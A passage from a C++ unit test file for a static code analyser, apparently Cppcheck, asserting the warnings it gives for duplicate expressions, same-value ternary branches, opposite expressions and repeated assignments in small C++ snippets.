errout_str());\n }\n\n void duplicateExpression14() { //#9871\n check(\"int f() {\\n\"\n \" int k = 7;\\n\"\n \" int* f = &k;\\n\"\n \" int* g = &k;\\n\"\n \" return (f + 4 != g + 4);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:14] -> [test.cpp:4:14] -> [test.cpp:5:19]: (style) The comparison 'f+4 != g+4' is always false because 'f+4' and 'g+4' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n }\n\n void duplicateExpression15() { //#10650\n check(\"bool f() {\\n\"\n \" const int i = int(0);\\n\"\n \" return i == 0;\\n\"\n \"}\\n\"\n \"bool g() {\\n\"\n \" const int i = int{ 0 };\\n\"\n \" return i == 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:22] -> [test.cpp:3:14]: (style) The comparison 'i == 0' is always true. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:6:22] -> [test.cpp:7:14]: (style) The comparison 'i == 0' is always true. [knownConditionTrueFalse]\\n\",\n errout_str());\n }\n\n void duplicateExpression16() {\n check(\"void f(const std::string& a) {\\n\" //#10569\n \" if ((a == \\\"x\\\") ||\\n\"\n \" (a == \\\"42\\\") ||\\n\"\n \" (a == \\\"y\\\") ||\\n\"\n \" (a == \\\"42\\\")) {}\\n\"\n \"}\\n\"\n \"void g(const std::string& a) {\\n\"\n \" if ((a == \\\"42\\\") ||\\n\"\n \" (a == \\\"x\\\") ||\\n\"\n \" (a == \\\"42\\\") ||\\n\"\n \" (a == \\\"y\\\")) {}\\n\"\n \"}\\n\"\n \"void h(const std::string& a) {\\n\"\n \" if ((a == \\\"42\\\") ||\\n\"\n \" (a == \\\"x\\\") ||\\n\"\n \" (a == \\\"y\\\") ||\\n\"\n \" (a == \\\"42\\\")) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:28] -> [test.cpp:4:20]: (style) Same expression 'a==\\\"42\\\"' found multiple times in chain of '||' operators. [duplicateExpression]\\n\"\n \"[test.cpp:7:28] -> [test.cpp:9:20]: (style) Same expression 'a==\\\"42\\\"' found multiple times in chain of '||' operators. [duplicateExpression]\\n\"\n \"[test.cpp:13:28] -> [test.cpp:16:20]: (style) Same expression 'a==\\\"42\\\"' found multiple times in chain of '||' operators. [duplicateExpression]\\n\",\n errout_str());\n\n check(\"void f(const char* s) {\\n\" // #6371\n \" if (*s == '\\x0F') {\\n\"\n \" if (!s[1] || !s[2] || !s[1])\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:28]: (style) Same expression '!s[1]' found multiple times in chain of '||' operators. [duplicateExpression]\\n\", errout_str());\n }\n\n void duplicateExpression17() {\n check(\"enum { E0 };\\n\" // #12036\n \"void f() {\\n\"\n \" if (0 > E0) {}\\n\"\n \" if (E0 > 0) {}\\n\"\n \" if (E0 == 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) The comparison '0 > E0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:4:12]: (style) The comparison 'E0 > 0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:5:12]: (style) The comparison 'E0 == 0' is always true. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"struct S {\\n\" // #12040, #12044\n \" static const int I = 0;\\n\"\n \" enum { E0 };\\n\"\n \" enum F { F0 };\\n\"\n \" void f() {\\n\"\n \" if (0 > I) {}\\n\"\n \" if (0 > S::I) {}\\n\"\n \" if (0 > E0) {}\\n\"\n \" if (0 > S::E0) {}\\n\"\n \" }\\n\"\n \"};\\n\"\n \"void g() {\\n\"\n \" if (0 > S::I) {}\\n\"\n \" if (0 > S::E0) {}\\n\"\n \" if (0 > S::F::F0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:26] -> [test.cpp:6:15]: (style) The comparison '0 > I' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:2:26] -> [test.cpp:7:15]: (style) The comparison '0 > S::I' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:8:15]: (style) The comparison '0 > E0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:9:15]: (style) The comparison '0 > S::E0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:2:26] -> [test.cpp:13:11]: (style) The comparison '0 > S::I' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:14:11]: (style) The comparison '0 > S::E0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:15:11]: (style) The comparison '0 > S::F::F0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"template\\n\" // #12122\n \"void f() {\\n\"\n \" static_assert(std::is_same::value || std::is_integral::value);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression18() {\n checkP(\"#if defined(ABC)\\n\" // #13218\n \"#define MACRO1 (0x1)\\n\"\n \"#else\\n\"\n \"#define MACRO1 (0)\\n\"\n \"#endif\\n\"\n \"#if defined(XYZ)\\n\"\n \"#define MACRO2 (0x2)\\n\"\n \"#else\\n\"\n \"#define MACRO2 (0)\\n\"\n \"#endif\\n\"\n \"#define MACRO_ALL (MACRO1 | MACRO2)\\n\"\n \"void f() {\\n\"\n \" if (MACRO_ALL == 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpressionLoop() {\n check(\"void f() {\\n\"\n \" int a = 1;\\n\"\n \" while ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:3:15]: (style) The comparison 'a != 1' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() { int a = 1; while ( a != 1){ a++; }}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() { int a = 1; for ( int i=0; i < 3 && a != 1; i++){ a++; }}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int b) { int a = 1; while (b) { if ( a != 1){} b++; } a++; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" for(int i = 0; i < 10;) {\\n\"\n \" if( i != 0 ) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17] -> [test.cpp:3:15]: (style) The comparison 'i != 0' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" for(int i = 0; i < 10;) {\\n\"\n \" if( i != 0 ) {}\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" for(int i = 0; i < 10;) {\\n\"\n \" if( i != 0 ) { i++; }\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" for(int i = 0; i < 10;) {\\n\"\n \" if( i != 0 ) { i++; }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int i = 0;\\n\"\n \" while(i < 10) {\\n\"\n \" if( i != 0 ) {}\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int b) {\\n\"\n \" while (b) {\\n\"\n \" int a = 1;\\n\"\n \" if ( a != 1){}\\n\"\n \" b++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17] -> [test.cpp:4:16]: (style) The comparison 'a != 1' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"struct T {\\n\" // #11083\n \" std::string m;\\n\"\n \" const std::string & str() const { return m; }\\n\"\n \" T* next();\\n\"\n \"};\\n\"\n \"void f(T* t) {\\n\"\n \" const std::string& s = t->str();\\n\"\n \" while (t && t->str() == s)\\n\"\n \" t = t->next();\\n\"\n \" do {\\n\"\n \" t = t->next();\\n\"\n \" } while (t && t->str() == s);\\n\"\n \" for (; t && t->str() == s; t = t->next());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::string &out, const std::vector &list) {\\n\" // #13669\n \" for (int i = 0, size = list.size(); i < size; i++) {\\n\"\n \" out += list[i];\\n\"\n \" if (size > 0 && i < (size - 2))\\n\"\n \" out += \\\",\\\";\\n\"\n \" else if (i == (size - 1))\\n\"\n \" out += \\\".\\\";\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpressionTernary() { // #6391\n check(\"void f() {\\n\"\n \" return A ? x : x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (style) Same expression in both branches of ternary operator. [duplicateExpressionTernary]\\n\", errout_str());\n\n check(\"int f(bool b, int a) {\\n\"\n \" const int c = a;\\n\"\n \" return b ? a : c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:19] -> [test.cpp:3:18]: (style) Same expression in both branches of ternary operator. [duplicateExpressionTernary]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" return A ? x : z;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(unsigned char c) {\\n\"\n \" x = y ? (signed char)c : (unsigned char)c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::string stringMerge(std::string const& x, std::string const& y) {\\n\" // #7938\n \" return ((x > y) ? (y + x) : (x + y));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6426\n {\n const char code[] = \"void foo(bool flag) {\\n\"\n \" bar( (flag) ? ~0u : ~0ul);\\n\"\n \"}\";\n /*const*/ Settings settings = _settings;\n settings.platform.sizeof_int = 4;\n settings.platform.int_bit = 32;\n\n settings.platform.sizeof_long = 4;\n settings.platform.long_bit = 32;\n check(code, &settings);\n ASSERT_EQUALS(\"[test.cpp:2:21]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n settings.platform.sizeof_long = 8;\n settings.platform.long_bit = 64;\n check(code, &settings);\n ASSERT_EQUALS(\"\", errout_str());\n }\n }\n\n void duplicateValueTernary() {\n check(\"void f() {\\n\"\n \" if( a ? (b ? false:false): false ) ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:23]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f1(int a) {return (a == 1) ? (int)1 : 1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:41]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f2(int a) {return (a == 1) ? (int)1 : (int)1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:41]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f3(int a) {return (a == 1) ? 1 : (int)1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:36]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f4(int a) {return (a == 1) ? 1 : 1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:36]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f5(int a) {return (a == (int)1) ? (int)1 : 1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:46]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f6(int a) {return (a == (int)1) ? (int)1 : (int)1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:46]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f7(int a) {return (a == (int)1) ? 1 : (int)1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:41]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f8(int a) {return (a == (int)1) ? 1 : 1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:41]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"struct Foo {\\n\"\n \" std::vector bar{1,2,3};\\n\"\n \" std::vector baz{4,5,6};\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" Foo foo;\\n\"\n \" it = true ? foo.bar.begin() : foo.baz.begin();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b) {\\n\"\n \" std::vector bar{1,2,3};\\n\"\n \" std::vector baz{4,5,6};\\n\"\n \" std::vector v = b ? bar : baz;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool q) {\\n\" // #9570\n \" static int a = 0;\\n\"\n \" static int b = 0;\\n\"\n \" int& x = q ? a : b;\\n\"\n \" ++x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int a, b; };\\n\" // #10107\n \"S f(bool x, S s) {\\n\"\n \" (x) ? f.a = 42 : f.b = 42;\\n\"\n \" return f;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"float f(float x) {\\n\" // # 11368\n \" return (x >= 0.0) ? 0.0 : -0.0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpressionTemplate() {\n check(\"template void f() {\\n\" // #6930\n \" if (I >= 0 && I < 3) {}\\n\"\n \"}\\n\"\n \"\\n\"\n \"static auto a = f<0>();\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template\\n\" // #7754\n \"void f() {\\n\"\n \" if (std::is_same_v || std::is_same_v) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"typedef long long int64_t;\"\n \"template\\n\"\n \"void f() {\\n\"\n \" if (std::is_same_v || std::is_same_v) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"#define int32_t int\"\n \"template\\n\"\n \"void f() {\\n\"\n \" if (std::is_same_v || std::is_same_v) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"#define F(v) (v) != 0\\n\" // #12392\n \"template\\n\"\n \"void f() {\\n\"\n \" if (F(0)) {}\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" f();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpressionCompareWithZero() {\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((x && b) || (x != 0 && b)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (style) Same expression on both sides of '||' because 'x&&b' and 'x!=0&&b' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((x != 0 && b) || (x && b)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:23]: (style) Same expression on both sides of '||' because 'x!=0&&b' and 'x&&b' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((x && b) || (b && x != 0)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (style) Same expression on both sides of '||' because 'x&&b' and 'b&&x!=0' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((!x && b) || (x == 0 && b)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:19]: (style) Same expression on both sides of '||' because '!x&&b' and 'x==0&&b' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((x == 0 && b) || (!x && b)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:23]: (style) Same expression on both sides of '||' because 'x==0&&b' and '!x&&b' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((!x && b) || (b && x == 0)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:19]: (style) Same expression on both sides of '||' because '!x&&b' and 'b&&x==0' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"struct A {\\n\"\n \" int* getX() const;\\n\"\n \" bool getB() const;\\n\"\n \" void f() {\\n\"\n \" if ((getX() && getB()) || (getX() != 0 && getB())) {}\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:32]: (style) Same expression on both sides of '||' because 'getX()&&getB()' and 'getX()!=0&&getB()' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((x && b) || (x == 0 && b)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((!x && b) || (x != 0 && b)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void oppositeExpression() {\n check(\"void f(bool a) { if(a && !a) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (style) Opposite expression on both sides of '&&'. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { if(a != !a) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (style) Opposite expression on both sides of '!='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { if( a == !(a) ) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:24]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { if( a != !(a) ) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:24]: (style) Opposite expression on both sides of '!='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { if( !(a) == a ) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:27]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { if( !(a) != a ) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:27]: (style) Opposite expression on both sides of '!='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { if( !(!a) == !(a) ) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:28]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { if( !(!a) != !(a) ) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:28]: (style) Opposite expression on both sides of '!='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f1(bool a) {\\n\"\n \" const bool b = a;\\n\"\n \" if( a == !(b) ) {}\\n\"\n \" if( b == !(a) ) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:3:11]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\"\n \"[test.cpp:2:20] -> [test.cpp:4:11]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f2(const bool *a) {\\n\"\n \" const bool b = *a;\\n\"\n \" if( *a == !(b) ) {}\\n\"\n \" if( b == !(*a) ) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:3:12]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\"\n \"[test.cpp:2:20] -> [test.cpp:4:11]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { a = !a; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int a) { if( a < -a ) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (style) Opposite expression on both sides of '<'. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(int a) { a -= -a; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int a) { a = a / (-a); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(int i){ return !((i - 1) & i); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(unsigned i){ return (x > 0) && (x & (x-1)) == 0; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void A::f(bool a, bool c)\\n\"\n \"{\\n\"\n \" const bool b = a;\\n\"\n \" if(c) { a = false; }\\n\"\n \" if(b && !a) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool c) {\\n\"\n \" const bool b = a;\\n\"\n \" if(c) { a = false; }\\n\"\n \" if(b && !a) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" bool x = a;\\n\"\n \" dostuff();\\n\"\n \" if (x && a) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" const bool b = g();\\n\"\n \" if (!b && g()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const bool *a) {\\n\"\n \" const bool b = a[42];\\n\"\n \" if( b == !(a[42]) ) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:21] -> [test.cpp:3:11]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(const bool *a) {\\n\"\n \" const bool b = a[42];\\n\"\n \" if( a[42] == !(b) ) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:21] -> [test.cpp:3:15]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(const bool *a) {\\n\"\n \" const bool b = *a;\\n\"\n \" if( b == !(*a) ) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:3:11]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(const bool *a) {\\n\"\n \" const bool b = *a;\\n\"\n \" if( *a == !(b) ) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:3:12]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(uint16_t u) {\\n\" // #9342\n \" if (u != (u & -u))\\n\"\n \" return false;\\n\"\n \" if (u != (-u & u))\\n\"\n \" return false;\\n\"\n \" return true;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateVarExpression() {\n check(\"int f() __attribute__((pure));\\n\"\n \"int g() __attribute__((pure));\\n\"\n \"void test() {\\n\"\n \" int i = f();\\n\"\n \" int j = f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct Foo { int f() const; int g() const; };\\n\"\n \"void test() {\\n\"\n \" Foo f = Foo{};\\n\"\n \" int i = f.f();\\n\"\n \" int j = f.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct Foo { int f() const; int g() const; };\\n\"\n \"void test() {\\n\"\n \" Foo f = Foo{};\\n\"\n \" Foo f2 = Foo{};\\n\"\n \" int i = f.f();\\n\"\n \" int j = f.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:9] -> [test.cpp:5:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"int f() __attribute__((pure));\\n\"\n \"int g() __attribute__((pure));\\n\"\n \"void test() {\\n\"\n \" int i = 1 + f();\\n\"\n \" int j = 1 + f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"int f() __attribute__((pure));\\n\"\n \"int g() __attribute__((pure));\\n\"\n \"void test() {\\n\"\n \" int i = f() + 1;\\n\"\n \" int j = 1 + f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() __attribute__((pure));\\n\"\n \"int g() __attribute__((pure));\\n\"\n \"void test() {\\n\"\n \" int x = f();\\n\"\n \" int i = x + 1;\\n\"\n \" int j = f() + 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() __attribute__((pure));\\n\"\n \"int g() __attribute__((pure));\\n\"\n \"void test() {\\n\"\n \" int i = f() + f();\\n\"\n \" int j = f() + f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"int f(int) __attribute__((pure));\\n\"\n \"int g(int) __attribute__((pure));\\n\"\n \"void test() {\\n\"\n \" int i = f(0);\\n\"\n \" int j = f(0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"int f(int) __attribute__((pure));\\n\"\n \"int g(int) __attribute__((pure));\\n\"\n \"void test() {\\n\"\n \" const int x = 0;\\n\"\n \" int i = f(0);\\n\"\n \" int j = f(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test(const int * p, const int * q) {\\n\"\n \" int i = *p;\\n\"\n \" int j = *p;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:2:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct A { int x; int y; };\"\n \"void test(A a) {\\n\"\n \" int i = a.x;\\n\"\n \" int j = a.x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:2:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"void test() {\\n\"\n \" int i = 0;\\n\"\n \" int j = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test() {\\n\"\n \" int i = -1;\\n\"\n \" int j = -1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int);\\n\"\n \"void test() {\\n\"\n \" int i = f(0);\\n\"\n \" int j = f(1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f();\\n\"\n \"int g();\\n\"\n \"void test() {\\n\"\n \" int i = f() || f();\\n\"\n \" int j = f() && f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct Foo {};\\n\"\n \"void test() {\\n\"\n \" Foo i = Foo();\\n\"\n \" Foo j = Foo();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct Foo {};\\n\"\n \"void test() {\\n\"\n \" Foo i = Foo{};\\n\"\n \" Foo j = Foo{};\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct Foo { int f() const; float g() const; };\\n\"\n \"void test() {\\n\"\n \" Foo f = Foo{};\\n\"\n \" int i = f.f();\\n\"\n \" int j = f.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct Foo { int f(); int g(); };\\n\"\n \"void test() {\\n\"\n \" Foo f = Foo{};\\n\"\n \" int i = f.f();\\n\"\n \" int j = f.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test() {\\n\"\n \" int i = f();\\n\"\n \" int j = f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test(int x) {\\n\"\n \" int i = ++x;\\n\"\n \" int j = ++x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test(int x) {\\n\"\n \" int i = x++;\\n\"\n \" int j = x++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test(int x) {\\n\"\n \" int i = --x;\\n\"\n \" int j = --x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test(int x) {\\n\"\n \" int i = x--;\\n\"\n \" int j = x--;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test(int x) {\\n\"\n \" int i = x + 1;\\n\"\n \" int j = 1 + x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateVarExpressionUnique() {\n check(\"struct SW { int first; };\\n\"\n \"void foo(SW* x) {\\n\"\n \" int start = x->first;\\n\"\n \" int end = x->first;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9] -> [test.cpp:3:9]: (style, inconclusive) Same expression used in consecutive assignments of 'start' and 'end'. [duplicateAssignExpression]\\n\"\n \"[test.cpp:2:14]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct SW { int first; };\\n\"\n \"void foo(SW* x, int i, int j) 